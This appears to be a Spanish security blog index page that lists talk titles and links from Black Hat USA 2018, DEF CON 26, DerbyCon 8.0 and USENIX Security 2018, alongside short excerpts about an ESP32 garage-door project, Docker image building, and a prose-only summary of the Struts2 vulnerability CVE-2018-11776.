• [Practical Web Cache Poisoning: Redefining ‘Unexploitable’]( https://www.youtube.com/watch?v=j2RrmNxJZ5c&index=6&t=0s&list=PLH15HpR5qRsVAXGmSV fjWrGtGLJjIJuGe)
• [An Attacker Looks at Docker: Approaching Multi-Container Applications]( https://www.youtube.com/watch?v=HTM3ZrSvp6c&index=7&t=0s&list=PLH15Hp R5qRsVAXGmSVfjWrGtGLJjIJuGe)
• [SirenJack: Cracking a ‘Secure’ Emergency Warning Siren System]( https://www.youtube.com/watch?v=49KoUmiJuts&index=8&t=0s&list=PLH15HpR5qRsVAX GmSVfjWrGtGLJjIJuGe)
• Are You Trading Stocks Securely? Exposing Security Flaws in Trading Technologies
• GOD MODE UNLOCKED - Hardware Backdoors in x86 CPUs
• Finding Xori: Malware Analysis Triage with Automated Disassembly
• Miasm: Reverse Engineering Framework
• Over-the-Air: How we Remotely Compromised the Gateway, BCM, and Autopilot ECUs of Tesla Cars
• DeepLocker - Concealing Targeted Attacks with AI Locksmithing
• It’s a PHP Unserialization Vulnerability Jim, but Not as We Know It
• Day Zero: A Road Map to #BHUSA 2018
• Lessons and Lulz: The 4th Annual Black Hat USA NOC Report
• Return of Bleichenbacher’s Oracle Threat (ROBOT)
• An Attacker Looks at Docker: Approaching Multi-Container Applications
• Follow the White Rabbit: Simplifying Fuzz Testing Using FuzzExMachina
• The Finest Penetration Testing Framework for Software-Defined Networks
• Understanding and Exploiting Implanted Medical Devices
• Mainframe [z/OS] Reverse Engineering and Exploit Development
• Lowering the Bar: Deep Learning for Side Channel Analysis
• Hardening Hyper-V through Offensive Security Research
• SirenJack: Cracking a ‘Secure’ Emergency Warning Siren System
• Practical Web Cache Poisoning: Redefining ‘Unexploitable’
• IoT Malware: Comprehensive Survey, Analysis Framework and Case Studies
• SDL the Wont Break the Bank
• For the Love of Money: Finding and Exploiting Vulnerabilities in Mobile Point of Sales Systems
• Last Call for SATCOM Security
• Exploitation of a Modern Smartphone Baseband
• Automated Discovery of Deserialization Gadget Chains
• Legal Liability for IOT Cybersecurity Vulnerabilities
• Another Flip in the Row
• How can Someone with Autism Specifically Enhance the Cyber Security Workforce?
• Catch me, Yes we can! - Pwning Social Engineers
• Automating Exploit Generation for Arbitrary Types of Kernel Vulnerabilities
• Windows Offender: Reverse Engineering Windows Defender’s Antivirus Emulator
• Protecting the Protector, Hardening Machine Learning Defenses Against Adversarial Attacks
• Playback: A TLS 1.3 Story
• An Inside Story of Mitigating Speculative Execution Side Channel Vulnerabilities
• TLBleed: When Protecting Your CPU Caches is Not Enough
• None of My Pixel is Your Business: Active Watermarking Cancellation Against Video Streaming Service
• So I became a Domain Controller
• WebAssembly: A New World of Native Exploits on the Browser
• Outsmarting the Smart City
• Are You Trading Stocks Securely? Exposing Security Flaws in Trading Technologies
• AI & ML in Cyber Security - Why Algorithms are Dangerous
• Stealth Mango and the Prevalence of Mobile Surveillanceware
• Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels
• A Deep Dive into macOS MDM (and How it can be Compromised)
• Pestilential Protocol: How Unsecure HL7 Messages Threaten Patient Lives
• GOD MODE UNLOCKED - Hardware Backdoors in x86 CPUs
• Decompiler Internals: Microcode
• Detecting Malicious Cloud Account Behavior: A Look at the New Native Platform Capabilities
• Windows Notification Facility: Peeling the Onion of the Most Undocumented Kernel Attack Surface Yet
• Kernel Mode Threats and Practical Defenses
• New Norms and Policies in Cyber-Diplomacy
• Snooping on Cellular Gateways and Their Critical Role in ICS
• Your Voice is My Passport
• Reconstruct the World from Vanished Shadow: Recovering Deleted VSS Snapshots
• Identity Theft: Attacks on SSO Systems
• The Science of Hiring and Retaining Female Cybersecurity Engineers
• Black Box is Dead. Long Live Black Box!
• Fire & Ice: Making and Breaking macOS Firewalls
• Demystifying PTSD in the Cybersecurity Environment
• The Problems and Promise of WebAssembly
• Real Eyes, Realize, Real Lies: Beating Deception Technologies
• ARTist - An Instrumentation Framework for Reversing and Analyzing Android Apps and the Middleware
• Money-rity Report: Using Intelligence to Predict the Next Payment Card Fraud Victims
• Lessons from Virginia - A Comparative Forensic Analysis of WinVote Voting Machines
• Stop that Release, There’s a Vulnerability!
• Pwnie Awards
• Beating the Blockchain by Mapping Out Decentralized Namecoin and Emercoin Infrastructure
• Applied Self-Driving Car Security
• Is the Mafia Taking Over Cybercrime?
• AFL’s Blindspot and How to Resist AFL Fuzzing for Arbitrary ELF Binaries
• Back to the Future: A Radical Insecure Design of KVM on ARM
• I, for One, Welcome Our New Power Analysis Overlords
• How can Communities Move Forward After Incidents of Sexual Harassment or Assault?
• The Air-Gap Jumpers
• Attacks on the Curl-P Hash Function Leading to Signature Forgeries in the IOTA Signature Scheme
• InfoSec Philosophies for the Corrupt Economy
• ZEROing Trust: Do Zero Trust Approaches Deliver Real Security?
• Breaking the IIoT: Hacking industrial Control Gateways
• Holding on for Tonight: Addiction in InfoSec
• Dissecting Non-Malicious Artifacts: One IP at a Time
• How I Learned to Stop Worrying and Love the SBOM
• Why so Spurious? Achieving Local Privilege Escalation on Operating Systems
• Breaking Parser Logic: Take Your Path Normalization off and Pop 0days Out!
• A Brief History of Mitigation: The Path to EL1 in iOS 11
• Squeezing a Key through a Carry Bit
• Behind the Speculative Curtain: The True Story of Fighting Meltdown and Spectre
• LTE Network Automation Under Threat
• Every ROSE has its Thorn: The Dark Art of Remote Online Social Engineering
• From Workstation to Domain Admin: Why Secure Administration isn’t Secure and How to Fix it
• Don’t @ Me: Hunting Twitter Bots at Scale
• Subverting Sysmon: Application of a Formalized Security Product Evasion Methodology
• WireGuard: Next Generation Secure Network Tunnel
• The Unbearable Lightness of BMC’s
• Meltdown: Basics, Details, Consequences
• Mental Health Hacks: Fighting Burnout, Depression and Suicide in the Hacker Community
• Threat Modeling in 2018: Attacks, Impacts and Other Updates
• Deep Dive into an ICS Firewall, Looking for the Fire Hole
• Screaming Channels: When Electromagnetic Side Channels Meet Radio Transceivers
• No Royal Road … Notes on Dangerous Game
• Reversing a Japanese Wireless SD Card - From Zero to Code Execution
• Compression Oracle Attacks on VPN Networks
• Remotely Attacking System Firmware
• There will be Glitches: Extracting and Analyzing Automotive Firmware Efficiently
• Legal Landmines: How Law and Policy are Rapidly Shaping Information Security
• Blockchain Autopsies - Analyzing Ethereum Smart Contract Deaths
• Deep Neural Networks for Hackers: Methods, Applications, and Open Source Tools
• How TRITON Disrupted Safety Systems & Changed the Threat Landscape of Industrial Control Systems
• A Dive in to Hyper-V Architecture & Vulnerabilities
• KeenLab iOS Jailbreak Internals: Userland Read-Only Memory can be Dangerous
• From Bot to Robot: How Abilities and Law Change with Physicality
• Attacking Client-Side JIT Compilers
• Stress and Hacking: Understanding Cognitive Stress in Tactical Cyber Ops
• Finding Xori: Malware Analysis Triage with Automated Disassembly
• Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparent Session Hijacking
• Qualitative Look at Autonomous Peer Communication’s Impact on Organizational Phishing Detection
• Measuring the Speed of the Red Queen’s Race; Adaption and Evasion in Malware
• Detecting Credential Compromise in AWS
• Keynote: Optimistic Dissatisfaction with the Status Quo

Vídeos DEF CON 26

*DEF CON 26*

Aquí os dejo los vídeos que se han publicado de DEF CON 26 ). Ya tenéis entretenimiento para el fin de semana que se avecina.

Recuerda que también tienes el material disponible.

• Rob Joyce - NSA Talks Cybersecurity
• Eyal Itkin, Yaniv Balmas - What the Fax?!
• Josh Mitchell - Ridealong Adventures: Critical Issues with Police Body Cameras
• Svea, Suggy, Till - Inside the Fake Science Factory
• Ladar Levison, hon1nbo - Booby Trapping Boxes
• 0x200b - Detecting Blue Team Research Through Targeted Ads
• [Si, Agent X - Wagging the Tail:Covert Passive Surveillance]( https://www.youtube.com/watch?v=tYFOXeItRFM&list=PL9fPq3eQfaaD0cf5c7wkzMoj2kifz GO4U&index=8&t=0s)
• Alexei Bulazel - Reverse Engineering Windows Defenders Emulator
• Alfonso Alguacil and Murillo Moya - Playback a TLS 1 point 3 story
• Bui and Rao - Last mile authentication problem Exploiting the missing link
• Champion and Law - Building the Hacker Tracker
• Christopher Domas - GOD MODE UNLOCKED Hardware Backdoors in redacted x86
• Christopher Domas - The Ring 0 Facade Awakening the Processors Inner Demons
• Damien virtualabs Cauquil - You had better secure your BLE devices
• Douglas McKee - 80 to 0 in Under 5 Seconds
• Daniel Crowley and Panel - Outsmarting the Smart City
• delta zero and Azeem Aqil - Your Voice is My Passport
• Daniel Zolnikov - A Politicians Successful Efforts to Fight Surveillance
• Dr Holtmanns and Singh - 4G Who is Paying Your Cellular Phone Bill Video
• Dr Rasthofer and Panel - Worrisome Security Issues in Tracker Apps
• Dr Matthews and Panel - A DEF CON Guide to Adversarial Testing of Software
• Elinor Mills and Panel - The L0pht Testimony 20 Years Later and Other Things
• Foster and Ayrey - Dealing with Residual Certificates for Pre-owned Domains
• Franklin and Franklin - Defending the 2018 Midterm Elections from Foreign Adversaries
• Gabriel Ryan - Bypassing Port Security In 2018 Defeating MacSEC and 802 1x 2010
• George Tarnovsky - You Can Run but You Cant Hide Reverse Engineering Using X-Ray
• Greenstadt and Dr Caliskan - De-anonymizing Programmers from Source Code
• Guang Gong - Pwning theToughest Target, the Largest Bug Bounty in the History of ASR
• HuiYu and Qian - Breaking Smart Speakers We are Listening to You
• Ian Haken - Automated Discovery of Deserialization Gadget Chains
• Izycki and Colli - Digital Leviathan A Comprehensive List of Nation State Big Brothers
• Jeanette Manfra - Securing our Nations Election Infrastructure
• Joe Rozner - Synfuzz Building a Grammar Based Retargetable Test Generation Framework
• Johnson and Stavrou - Vulnerable Out of the Box - Evaluation of Android Carrier Devices
• Josep Pi Rodriguez - WingOS: How to Own Millions of Devices .
• Kim and Choi - Your Watch Can Watch You! Pitfalls in the Samsung Gear Smartwatch
• Knight and Speers - Designing and Applying Extensible RF Fuzzing Tools
• Krotofil , Wetzels - Thru the Eyes of the Attacker Designing Embedded Systems for ICS
• Lane Broadbent - Trouble in the Tubes How Internet Routing Security Breaks Down
• ldionmarcil - Edge Side Include Injection Abusing Caching Servers into SSRF
• Levinson and Borges - Ill See Your Missile and Raise You A MIRV
• Maggie Mayhem - Sex Work After SESTA FOSTA
• Maksim Shudrak - Fuzzing Malware For Fun and Profit
• Martin Vigo - Compromising Online Accounts by Cracking Voicemail Systems
• Matt King - Micro Renovator Bringing Processor Firmware up to Code
• Galloway, Yunusov - For the Love of Money Finding and Exploiting Vulns in mPOS Systems
• Zhenxuan Bai and Panel - Replay Attacks on Ethereum Smart Contracts
• Zheng and Panel - Your Peripheral Has Planted Malware An Exploit of NXP SOCs
• Zheng and Bai - Fasten your seatbelts We are escaping iOS 11 Sandbox
• zerosum0x0 - Demystifying MS17 010 Reverse Engineering the ETERNAL Exploits
• zenofex - Dissecting the Teddy Ruxpin Reverse Engineering the Smart Bear
• Zeng and Panel - Lora Smart Water Meter Security Analysis
• Zach and Alex - Infecting The Embedded Supply Chain
• Yu Wang - Attacking the macOS Kernel Graphics Driver
• yawnbox - Privacy Infrastructure Challenges and Opportunities
• Xiao and Panel - Hacking the Brain Customize Evil Protocol to Pwn an SDN Con
• William Martin - SMBetray Backdooring and Breaking Signatures
• William Martin - One Click to OWA
• West and Campbell - barcOwned Popping Shells with Your Cereal Box
• Wesley McGrew - An Attacker Looks at Docker Approaching Multi Container Applications
• Vincent Tan - Hacking BLE Bicycle Locks for Fun and a Small Profit
• Truman Kain - Dragnet Your Social Engineering Sidekick
• Thiago Alves - Hacking PLCs and Causing Havoc on Critical Infrastructures
• The Tarquin - Weaponizing Unicode Homographs Beyond IDNs
• The Dark Tangent and Panel - DEF CON GROUPS
• The Dark Tangent - Welcome To DEF CON & Badge Maker Talk
• The Dark Tangent - DEF CON 26 Closing Ceremonies
• Steven Danneman - Your Banks Digital Side Door
• smea - Jailbreaking the 3DS Through 7 Years of Hardening
• Slava Makkaveev - Man In The Disk
• singe - Practical and Improved Wifi MitM with Mana
• Shkatov and Michael - UEFI Exploitation for the Masses
• Sheng Hao Ma - Playing Malware Injection with Exploit Thoughts
• sghctoma - All Your Math are Belong to Us
• Sean Metcalf - Exploiting Active Directory Administrator Insecurities
• Seamus Burke - A Journey Into Hexagon Dissecting a Qualcomm Baseband
• Sanat Sharma - House of Roman a Leakless Heap Fengshui to Achieve RCE on PIE Binaries
• Ruo Ando - Asura PCAP File Analyzer for Anomaly Packets Detection
• Rowan Phipps - ThinSIM based Attacks on Mobile Money Systems
• Rousseau and Seymour - Finding Xori Malware Analysis Triage with Automated Disassembly
• Romailler and Amiet - Reaping and Breaking Keys at Scale When Crypto Meets Big Data
• Rob Joyce - Building Absurd Christmas Light Shows
• Riedesel and Hakimian - Tineola Taking a Bite Out of Enterprise Blockchain
• Ricky HeadlessZeke Lawshae - Who Controls the Controllers Hacking Crestron
• Richard Thieme - The Road to Resilience How Real Hacking Redeems a Damnable Profession
• Patrick Wardle - The Mouse is Mightier than the Sword
• Patrick Wardle - Fire and Ice Making and Breaking macOS Firewalls
• Paternotte and van Ommeren - It WISNt Me Attacking Industrial Wireless Mesh Networks
• Panel - DC 101 Panel
• Ossmann and Spill - Revolting Radios
• Orange Tsai - Breaking Parser Logic Take Your Path Normalization Off and Pop 0Days Out
• Nirenberg and Buchwald - Reverse Engineering Hacking Documentary Series
• Nick Cano - Relocation Bonus Attacking the Windows Loader
• Nevermoe - One Step Ahead of Cheaters Instrumenting Android Emulators
• Morgan Indrora Gangwere - (Ab)using Binaries from Embedded Devices for Fun and Profit
• Alexandre Borges - Ring 0 Ring 2 Rootkits Bypassing Defenses
• Berta and De Los Santos - Rock appround the Clock Tracking Malware Developers
• David Melendez Cano - Avoiding CounterDrone Systems with NanoDrones
• Eric Sesterhenn - In Soviet Russia Smartcard Hacks You
• Bai and Zheng - Analyzing and Attacking Apple Kernel Drivers

Presentaciones DerbyCon 8.0

*DerbyCon 8.0*

Desde la página de IronGeek podéis ver los vídeos de todas (casi) las presentaciones de DerbyCon 8.0 . Aquí tenéis la lista de los mismos:

• Opening
• How to influence security technology in kiwi underpants Benjamin Delpy
• Panel Discussion - At a Glance: Information Security Ed Skoudis, John Strand, Lesley Carhart. Moderated by: Dave Kennedy
• Red Teaming gaps and musings Samuel Sayen
• A Process is No One: Hunting for Token Manipulation Jared Atkinson, Robby Winchester
• Fuzz your smartphone from 4G base station side Tso-Jen Liu
• Clippy for the Dark Web: Looks Like You’re Trying to Buy Some Dank Kush, Can I Help You With That? Emma Zaballos
• Synfuzz: Building a Grammar Based Re-targetable Test Generation Framework Joe Rozner
• Escoteric Hashcat Attacks Evilmog
• RFID Luggage Tags, IATA vs Real Life Daniel Lagos
• #LOL They Placed Their DMZ in the Cloud: Easy Pwnage or Disruptive Protection Carl Alexander
• Maintaining post-exploitation opsec in a world with EDR Michael Roberts, Martin Roberts
• Hey! I found a vulnerability - now what? Lisa Bradley, CRob
• Foxtrot C2: A Journey of Payload Delivery Dimitry Snezhkov
• Ridesharks Kaleb Brown
• IRS, HR, Microsoft and your Grandma: What they all have in common Christopher Hadnagy, Cat Murdock
• #LOLBins - Nothing to LOL about! Oddvar Moe
• Everything Else I Learned About Security I Learned From Hip-Hop Paul Asadoorian
• Hackers, Hugs, & Drugs: Mental Health in Infosec Amanda Berlin
• Android App Penetration Testing 101 Joff Thyer, Derek Banks
• Draw a Bigger Circle: InfoSec Evolves Cheryl Biswas
• I Can Be Apple, and So Can You Josh Pitts
• From Workstation to Domain Admin: Why Secure Administration Isn’t Secure and How to Fix It Sean Metcalf
• MS17-010? zerosum0x0
• The Unintended Risks of Trusting Active Directory Lee Christensen, Will Schroeder, Matt Nelson
• Lessons Learned by the WordPress Security Team Aaron D. Campbell
• IronPython… omfg Marcello Salvati
• Invoke-EmpireHound - Merging BloodHound & Empire for Enhanced Red Team Workflow Walter Legowski
• When Macs Come Under ATT&CK Richie Cyrus
• Abusing IoT Medical Devices For Your Precious Health Records Saurabh Harit, Nick Delewski
• Detecting WMI exploitation Michael Gough
• Gryffindor | Pure JavaScript, Covert Exploitation Matthew Toussain
• Instant Response: Making IR faster than you thought possible! Mick Douglas, Josh Johnson
• The History of the Future of Cyber-Education Winn Schwartau
• State of Win32k Security: Revisiting Insecure design Vishal Chauhan
• Offensive Browser Extension Development Michael Weber
• Protect Your Payloads: Modern Keying Techniques Leo Loobeek
• Jump Into IOT Hacking with the Damn Vulnerable Habit Helper Device Nancy Snoke, Phoenix Snoke
• Tales From the Bug Mine - Highlights from the Android VRP Brian Claire Young
• Decision Analysis Applications in Threat Analysis Frameworks Emily Shawgo
• Threat Intel On The Fly Tazz
• Make Me Your Dark Web Personal Shopper! Emma Zaballos
• Driving Away Social Anxiety Joey Maresca
• Off-grid coms and power Justin Herman
• CTFs: Leveling Up Through Competition Alex Flores
• Extending Burp to Find Struts and XXE Vulnerabilities Chris Elgee
• Introduction to x86 Assembly DazzleCatDuo
• Pacu: Attack and Post-Exploitation in AWS Spencer Gietzen
• An Inconvenient Truth: Evading the Ransomware Protection in Windows 10 Soya Aoyama
• Brutal Blogging - Go for the Jugular Kate Brew
• RID Hijacking: Maintaining Access on Windows Machines Sebastian Castro
• Your Training Data is Bad and You Should Feel Bad Ryan J. O’Grady
• So many pentesting tools from a $4 Arduino Kevin Bong, Michael Vieau
• Building an Empire with (Iron)Python Jim Shaver
• SAEDY: Subversion and Espionage Directed Against You Judy Towers
• OSX/Pirrit - Reverse engineering mac OSX malware and the legal department of the company who makes it Amit Serper, Niv Yona, Yuval Chuddy
• How to test Network Investigative Techniques(NITs) used by the FBI Dr. Matthew Miller
• Cloud Computing Therapy Session Cara Marie, Andy Cooper
• Silent Compromise: Social Engineering Fortune 500 Businesses Joe Gray
• Going on a Printer Safari - Hunting Zebra Printers James Edge
• Hardware Slashing, Smashing, and Reconstructing for Root access Deral Heiland
• App-o-Lockalypse now! Oddvar Moe
• Web App 101: Getting the lay of the land Mike Saunders
• Invoke-DOSfuscation: Techniques FOR %F IN (-style) DO (S-level CMD Obfuscation) Daniel Bohannon
• WE ARE THE ARTILLERY: Using Google Fu To Take Down The Grids Chris Sistrunk, Krypt3ia, SynAckPwn
• Just Let Yourself In David Boyd
• A “Crash” Course in Exploiting Buffer Overflows (Live Demos!) Parker Garrison
• Living in a Secure Container, Down by the River Jack Mannino
• VBA Stomping - Advanced Malware Techniques Carrie Roberts, Kirk Sayre, Harold Ogden
• Media hacks: an Infosec guide to dealing with journalists Sean Gallagher, Steve Ragan, Paul Wagenseil
• Deploying Deceptive Systems: Luring Attackers from the Shadows Kevin Gennuso
• The Money-Laundering Cannon: Real cash; Real Criminals; and Real Layoffs Arian Evans
• Perfect Storm: Taking the Helm of Kubernetes Ian Coldwater
• How to put on a Con for Fun and (Non) Profit Benny Karnes, John Moore, Rick Hayes, Matt Perry, Bill Gardner, Justin Rogosky, Mike Fry, Steve Truax
• Web app testing classroom in a box - the good, the bad and the ugly Lee Neely, Chelle Clements, James McMurry
• Metasploit Town Hall 0x4 Brent Cook, Aaron Soto, Adam Cammack, Cody Pierce
• Community Based Career Development or How to Get More than a T-Shirt When Participating as part of the Community Kathleen Smith, Magen Wu, Cindy Jones, Kathryn Seymour, Kirsten Renner
• Disaster Strikes: A Hacker’s Cook book Jose Quinones, Carlos Perez
• Ninja Looting Like a Pirate Infojanitor
• Hacking Mobile Applications with Frida David Coursey
• Victor or Victim? Strategies for Avoiding an InfoSec Cold War Jason Lang, Stuart McIntosh
• Ubiquitous Shells Jon Gorenflo
• 99 Reasons Your Perimeter Is Leaking - Evolution of C&C John Askew
• Ship Hacking: a Primer for Today’s Pirate Brian Satira, Brian Olson
• Code Execution with JDK Scripting Tools & Nashorn Javascript Engine Brett Hawkins
• PHONOPTICON - leveraging low-rent mobile ad services to achieve state-actor level mass surveillance on a shoestring budget Mark Milhouse
• Patching: Show me where it hurts Cheryl Biswas
• Advanced Deception Technology Through Behavioral Biometrics Curt Barnard, Dawud Gordon
• We are all on the spectrum: What my 10-year-old taught me about leading teams Carla A Raisler
• No Place Like Home: Real Estate OSINT and OPSec Fails John Bullinger
• The Layer2 Nightmare Chris Mallz
• Attacking Azure Environments with PowerShell Karl Fosaaen
• Blue Blood Injection: Transitioning Red to Purple Lsly Ayyy
• Mirai, Satori, OMG, and Owari - IoT Botnets Oh My Peter Arzamendi
• Comparing apples to Apple Adam Mathis
• How online dating made me better at threat modeling Isaiah Sarju
• Threat Hunting with a Raspberry Pi Jamie Murdock
• M&A Defense and Integration - All that Glitters is not Gold Sara Leal, Jason Morrow
• Social Engineering At Work - How to use positive influence to gain management buy-in for anything April Wright
• Ham Radio 4 Hackers Eric Watkins, Devin Noel
• Getting Control of Your Vendors Before They Take You Down Dan Browder
• Cyber Intelligence: There Are No Rules, and No Certainties Coleman Kane
• Getting Started in CCDC Russell Nielsen
• Changing Our Mindset From Technical To Psychological Defenses Andrew Kalat
• Red Mirror: Bringing Telemetry to Red Teaming Zach Grace
• Two-Factor, Too Furious: Evading (and Protecting) Evolving MFA Schemes Austin Baker, Doug Bienstock
• IoT: Not Even Your Bed Is Safe Darby Mullen
• Fingerprinting Encrypted Channels for Detection John Althouse
• On the Nose: Bypassing Huawei’s Fingerprint authentication by exploiting the TrustZone Nick Stephens
• Bypassing Port-Security In 2018: Defeating MacSEC and 802.1x-2010 Gabriel Ryan
• Goodbye Obfuscation, Hello Invisi-Shell: Hiding Your Powershell Script in Plain Sight Omer Yair
• Cloud Forensics: Putting The Bits Back Together Brandon Sherman
• Killsuit: The Equation Group’s Swiss Army knife for persistence, evasion, and data exfil Francisco Donoso
• The MS Office Magic Show Stan Hegt, Pieter Ceelen
• Living off the land: enterprise post-exploitation Adam Reiser
• Hillbilly Storytime: Pentest Fails Adam Compton
• Bug Hunting in RouterOS Jacob Baines
• Breaking Into Your Building: A Hackers Guide to Unauthorized Access Tim Roberts, Brent White
• The making of an iOS 11 jailbreak: Kiddie to kernel hacker in 14 sleepless nights. Bryce “soen” Bearchell
• Who Watches the Watcher? Detecting Hypervisor Introspection from Unprivileged Guests Tomasz Tuzel
• Pwning in the Sandbox: OSX Macro Exploitation & Beyond Adam Gold, Danny Chrastil
• IOCs Today, Intelligence-Led Security Tomorrow Katie Kusjanovic, Matthew Shelton
• Closing Ceremonies

Controlando las puertas de un garaje con un ESP32 …

*ESP32 - Relay - Sensor wiring*

Ahora que ya tenemos nuestro ESP32 listo para el combate, es hora de instalarlo. Lo primero que debemos hacer es usar un servidor MQTT con algún tipo de autentificación. Hasta ahora todas las pruebas que hemos hecho han sido usando el servidor de pruebas de io.eclipse.org sin ningún tipo de autentificación. Esto significa, que si alguien averigua los canales que usas, podría abrir y cerrar las puertas de tu garaje. No bueno!

Controlando las puertas de un garaje con un ESP32 …

*ESP32 - Relay - Sensor wiring*

En esta segunda entrada de esta serie, veremos como conectar un par de interruptores magnéticos, uno para cada puerta, los cuales nos permitirán saber si las puertas están cerradas o no.

En este caso, estoy usando este interruptor: https://www.adafruit.com/product/375 .

El interruptor tiene dos cables, uno va a tierra (GND) y el otro a uno de los GPIO de nuestro micro controlador. En este caso uso los GPIOs 25 y 26 para las puertas izquierda y derecha respectivamente.

Controlando las puertas de un garaje con un ESP32 …

*Garage*

Hace cuatro años que cableé un Raspberry Pi con un relé de dos canales y un par de sensores, y lo conecté a las puertas de mi garaje. Aquí tenéis la entrada donde expliqué entonces este proyecto: https://www.cyberhades.com/2014/02/04/controlando-las-puertas-del-garaje-con-un-raspberry-pi/ .

Este montaje con el tiempo sufrió algunos cambios, como: el uso de un servidor MQTT ( mosquitto ), una aplicación Android nativa, e incluso una aplicación para mi viejo relog Pebble. Nunca escribí sobre ello, pero aquí podéis ver un vídeo dónde uso el reloj para abrir la puerta del garaje (como podéis ver la casa es también distinta, he sufrido varias mudanzas desde entonces):

Creando imágenes Docker para aplicaciones Java, …

*Jib*

De la misma forma que un contenedor Docker no es más que un proceso Linux, una imagen Docker no es más que la suma de sus capas, dónde cada capa es un archivo tar.

Dicho esto, por lo tanto crear una imagen Docker no es tan complejo como puede parecer, de hecho, no sólo no necesitas escribir tu fichero Dockerfile, sino que ni si quiera necesitas tener Docker instalado.

Explotando Struts2, CVE-2018-11776

*Struts2*

Hace poco se hizo pública otra vulnerabilidad en Apache Struts2 , un popular framework para aplicaciones web en Java. Dicha vulnerabilidad, CVE-2018-11776 , permite a un atacante la ejecución remota de comandos. La versiones afectadas son Apache Struts 2.3 a 2.3.34 y 2.5 a 2.5.16.

Para poder aprovechar dicha vulnerabilidad, una acción (struts action) se debe definir sin namespace o usar algún carácter comodín, como por ejemplo /*. En estos casos, Struts usa OGNL (un lenguaje de expresiones de código abierto para Java) para determinar la acción a ejecutar basada en el namespace dado por el usuario, permitiendo así la posible ejecución de código remoto.

Imágenes Docker Sin Sistema

*Docker*

Una de las buenas prácticas a la hora de crear imágenes en Docker es hacer que estas sean lo más pequeñsa, en tamaño, posible.

Por popularidad, Alpine es la distribuciión Linux preferida a la hora de crear imágenes de tamaño reducido (poco menos de 5MB), a menos que, por requerimientos de certificacion o algún otro motivo, sea necesario usar alguna distribución certificada en particular, algo común en el entorno empresarial y gubernamental.

Presentaciones Usenix 2018

*USENIX 2018*

La 27 edición de la conferencia sobre seguridad USENIX 2018 se acaba de celebrar en Baltimore, MD esta pasada semana. Lo que característica a esta conferencia es que es una conferencia sobre seguridad desde ámbito académico.

El número de presentaciones es bastante amplio y ya podemos acceder tanto a la investigación académica, así, como las diapositivas de la mayoría de dichas presentaciones:

• Why Do Keynote Speakers Keep Suggesting That Improving Security Is Possible? Keynote

• James Mickens, Harvard University

• Fear the Reaper: Characterization and Fast Detection of Card Skimmers

  • Scaife PDF

• BlackIoT: IoT Botnet of High Wattage Devices Can Disrupt the Power Grid

  • Soltan PDF

• Skill Squatting Attacks on Amazon Alexa

  • Kumar PDF

• CommanderSong: A Systematic Approach for Practical Adversarial Voice Recognition

  • Yuan PDF

• ACES: Automatic Compartments for Embedded Systems

  • Clements PDF

• IMIX: In-Process Memory Isolation EXtension

  • Frassetto PDF

• HeapHopper: Bringing Bounded Model Checking to Heap Implementation Security

  • Eckert PDF

• Guarder: A Tunable Secure Allocator

  • Silvestro PDF

• Fp-Scanner: The Privacy Implications of Browser Fingerprint Inconsistencies

  • Vastel PDF

• Who Left Open the Cookie Jar? A Comprehensive Evaluation of Third-Party Cookie Policies

  • Franken PDF
  • View the slides

• Effective Detection of Multimedia Protocol Tunneling using Machine Learning

  • Barradas PDF
  • View the slides

• Quack: Scalable Remote Measurement of Application-Layer Censorship

  • VanderSloot PDF

• Better managed than memorized? Studying the Impact of Managers on Password Strength and Reuse

  • Lyastani PDF
  • View the slides

• Forgetting of Passwords: Ecological Theory and Data

  • Gao PDF

• The Rewards and Costs of Stronger Passwords in a University: Linking Password Lifetime to Strength

  • Becker PDF

• Rethinking Access Control and Authentication for the Home Internet of Things (IoT)

  • He PDF
  • View the slides

• ATtention Spanned: Comprehensive Vulnerability Analysis of AT Commands Within the Android Ecosystem

  • Tian PDF

• Charm: Facilitating Dynamic Analysis of Device Drivers of Mobile Systems

  • Talebi PDF

• Inception: System-Wide Security Testing of Real-World Embedded Systems Software

  • Corteggiani PDF
  • View the slides

• Acquisitional Rule-based Engine for Discovering Internet-of-Thing Devices

  • Feng PDF

• Privacy for Tigers

• Ross Anderson, Cambridge University

• Cybersecurity: Is It about Business or Technology?

• Donna Dodson, Chief Cybersecurity Advisor, National Institute of Standards and Technology

• A Sense of Time for JavaScript and Node.js: First-Class Timeouts as a Cure for Event Handler Poisoning

  • Davis PDF

• Freezing the Web: A Study of ReDoS Vulnerabilities in JavaScript-based Web Servers

  • Staicu PDF

• NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications

  • Alhuzali PDF
  • View the slides

• Rampart: Protecting Web Applications from CPU-Exhaustion Denial-of-Service Attacks

  • Meng PDF

• How Do Tor Users Interact With Onion Services?

  • Winter PDF

• Towards Predicting Efficient and Anonymous Tor Circuits

  • Barton PDF

• BurnBox: Self-Revocable Encryption in a World Of Compelled Access

  • Tyagi PDF

• An Empirical Analysis of Anonymity in Zcash

  • Kappos PDF

• Rethinking Architectures and Abstraction for a World Where Security Improvements Matter More than Performance Gains

• Paul Kocher

• Solving the Next Billion-People Privacy Problem

• Monica Lam, Stanford University

• Unveiling and Quantifying Facebook Exploitation of Sensitive Personal Data for Advertising Purposes

  • Cabanas PDF
  • View the slides

• Analysis of Privacy Protections in Fitness Tracking Social Networks -or- You can run, but can you hide?

  • Hassan PDF

• AttriGuard: A Practical Defense Against Attribute Inference Attacks via Adversarial Machine Learning

  • Jia PDF
  • View the slides

• Polisis: Automated Analysis and Presentation of Privacy Policies Using Deep Learning

  • Harkous PDF

• Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels

  • Poddebniak PDF

• The Dangers of Key Reuse: Practical Attacks on IPsec IKE

  • Felsch PDF
  • View the slides

• One&Done: A Single-Decryption EM-Based Attack on OpenSSL’s Constant-Time Blinded RSA

  • Alam PDF
  • View the slides

• DATA – Differential Address Trace Analysis: Finding Address-based Side-Channels in Binaries

  • Weiser PDF

• Analogy Cyber Security—From 0101 to Mixed Signals

• Wenyuan Xu, Zhejiang University

• Chipmunk or Pepe? Using Acoustical Analysis to Detect Voice-Channel Fraud at Scale

• Vijay Balasubramaniyan, CEO and Founder, Pindrop

• The Battle for New York: A Case Study of Applied Digital Threat Modeling at the Enterprise Level

  • Stevens PDF

• SAQL: A Stream-based Query System for Real-Time Abnormal System Behavior Detection

  • Gao PDF

• Practical Accountability of Secret Processes

  • Frankle PDF

• DIZK: A Distributed Zero Knowledge Proof System

  • Wu PDF

• NetHide: Secure and Practical Network Topology Obfuscation

  • Meier PDF

